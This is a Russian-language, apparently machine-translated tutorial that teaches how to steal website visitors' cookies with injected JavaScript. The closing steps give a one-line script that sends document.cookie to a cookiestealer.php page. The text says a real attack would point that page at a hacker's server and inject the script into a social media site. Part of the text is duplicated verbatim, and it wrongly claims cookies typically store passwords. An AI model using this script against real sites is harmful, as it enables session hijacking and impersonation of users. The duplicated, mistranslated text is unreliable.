JavaScript является одним из самых распространенных языков, используемых в Интернете. Он может автоматизировать и анимировать компоненты веб-сайта, управлять содержимым веб-сайта и выполнять множество других полезных функций с веб-страницы. Язык сценариев также имеет множество функций, которые могут использоваться для вредоносных целей, включая кражу файлов cookie пользователя, содержащих пароли и другую информацию.
Куки-файлы — это информация, которую веб-сайт запрашивает или поддерживает относительно конкретных пользователей, которые посещают страницу. Эти файлы cookie содержат информацию о том, как и когда они посещают, а также информацию аутентификации для сайта, такую как имена пользователей и пароли. Поскольку эти файлы cookie должны использоваться, когда посетитель активен на данном веб-сайте, злоумышленник, который может их перехватить, может украсть эту информацию и использовать ее для выдачи или каталогизации информации о конкретных пользователях.
Можно использовать JavaScript для сохранения или изменения файлов cookie пользователя для данного домена. Хотя это обычно применяется для создания и использования файлов cookie для интерактивной веб-разработки, если злоумышленник может злонамеренно просматривать одни и те же файлы cookie, он становится ценным методом взлома. Атаки на основе JavaScript особенно эффективны в сочетании с тактикой, например, инъекцией кода, поскольку она позволяет запускать вредоносный код на том, что похоже на веб-сайт, которому доверяют другие.
Не пропустите: как взломать веб-браузеры с помощью BeEF
Шаг 1Создание тестовой страницы HTML
Чтобы украсть файлы cookie, cookie должен быть сначала доступен в веб-домене, который просматривает пользователь. Это происходит всякий раз, когда пользователь просматривает веб-сайт. В то время как абсолютно возможно вставлять JavaScript в веб-сайты с использованием атаки «Человек в центре» или путем использования уязвимого веб-сайта, для этого потребуются дополнительные усилия.
Тестовая среда для нашего cookie будет находиться в пределах стандартной стандартной HTML-страницы. Мы сможем внедрить все наши элементы JavaScript в строку. Сначала создайте новый каталог, содержащий HTML-файл. В Linux системы macOS мы можем использовать mkdir, как показано ниже.
1 |
mkdir cookiestealer |
Мы можем перейти в этот каталог с помощью команды cd, как в этом примере.
1 |
cd cookiestealer |
Как только мы входим в эту папку, мы можем создать наш индексный файл с помощью нажатия, введя следующее в окно терминала.
1 |
touch index.html |
Затем мы также отредактируем этот файл индекса. Сначала откройте файл в nano.
1 |
nano index.html |
Добавьте основные теги открытия и закрытия HTML. В этом случае нам нужны только теги «html» и «body», поскольку для проверки JavaScript не требуются элементы «head». Теперь файл должен выглядеть примерно так.
1 2 3 4 |
<html> <body> </body> </html> |
Мы можем сохранить этот файл, нажав Ctrl + O в nano. На данный момент, если он открыт в веб-браузере, наша страница будет пустой. Мы можем добавить элемент заголовка или некоторый базовый контент HTML или даже добавить наши элементы сценариев на любую созданную нами веб-страницу, но для целей тестирования этого будет достаточно.
Не пропустите: как вести простую атаку «человек в центре»
Шаг 2Создание файла cookie
Мы можем создать базовый параметр, вставленный в файл cookie, используя только одну строку. Этот файл cookie будет существовать только на этой странице, и аналогичным образом техника, используемая для удаления куки-файлов позже, будет применяться к любому файлу cookie, хранящемуся на странице, на которой запускается или вводится скрипт.
Затем мы также отредактируем этот файл индекса. Сначала откройте файл в nano.
1 |
nano index.html |
Добавьте основные теги открытия и закрытия HTML. В этом случае нам нужны только теги «html» и «body», поскольку для проверки JavaScript не требуются элементы «head». Теперь файл должен выглядеть примерно так.
1 2 3 4 |
<html> <body> </body> </html> |
Мы можем сохранить этот файл, нажав Ctrl + O в nano. На данный момент, если он открыт в веб-браузере, наша страница будет пустой. Мы можем добавить элемент заголовка или некоторый базовый контент HTML или даже добавить наши элементы сценариев на любую созданную нами веб-страницу, но для целей тестирования этого будет достаточно.
Не пропустите: как вести простую атаку «человек в центре»
Шаг 2Создание файла cookie
Мы можем создать базовый параметр, вставленный в файл cookie, используя только одну строку. Этот файл cookie будет существовать только на этой странице, и аналогичным образом техника, используемая для удаления куки-файлов позже, будет применяться к любому файлу cookie, хранящемуся на странице, на которой запускается или вводится скрипт.
1 |
<script type="text/javascript">document.cookie = "username=Null Byte";</script> |
Этот скрипт должен быть вставлен в раздел «тело» HTML-файла, как показано ниже.
Если веб-страница с этим скриптом будет открыта, будет установлен файл cookie, но в браузере ничего не будет видно. Мы можем сбросить файл cookie непосредственно на страницу, используя функцию document.write. Это не будет полезно для экспорта файлов cookie без каких-либо знаний пользователя, но это может помочь нам понять формат, в котором работает технология написания файлов cookie. Мы можем добавить следующую строку в наш скрипт, чтобы проверить это.
document.write (document.cookie);
Теперь наш скрипт должен выглядеть примерно так, как показано ниже.
1 2 3 4 |
<script type="text/javascript"> document.cookie = "username=Null Byte"; document.write(document.cookie); </script> |
При открытии в браузере он должен выглядеть примерно так, как показано на рисунке ниже.
Теперь мы успешно установили «username = Null Byte» в качестве файла cookie для этой страницы. Теперь мы можем удалить «document.write (document.cookie)»; функции сценария, поскольку мы вместо этого отправляем файлы cookie, извлеченные с целевой страницы пользователя, на независимую удаленную страницу, на которой они могут быть написаны и сохранены нами.
Шаг 3Специализация файлов cookie с использованием JavaScript
Строка JavaScript, которую мы будем использовать для передачи файлов cookie на сервер, на котором мы можем их записать, снова будет использовать параметр document.cookie, однако вместо этого он будет передан в строке с URL-адресом, определенным в документе.location.
1 |
document.location='http://127.0.0.1/cookiestealer.php?c='+document.cookie; |
В этом примере файл PHP находится на локальном компьютере или локальном хосте на 127.0.0.1. При фактическом развертывании этого метода он должен указывать на файл, размещенный на веб-сервере, который может быть разрешен за пределами локальной сети или локальной машины.
Если таргетинг был настроен на веб-сайт в социальных сетях, сценарий будет инъецирован на этот сайт, а куки-файлы, которые были украдены, будут отправлены на IP-адрес или URL-адрес сервера, управляемого хакером.